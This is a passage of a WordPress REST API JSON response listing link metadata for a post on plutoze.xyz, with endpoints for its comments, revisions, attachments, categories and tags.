}],"replies":[{"embeddable":true,"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/comments?post=128"}],"version-history":[{"count":8,"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/posts\/128\/revisions"}],"predecessor-version":[{"id":140,"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/posts\/128\/revisions\/140"}],"wp:attachment":[{"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/media?parent=128"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/categories?post=128"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/tags?post=128"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}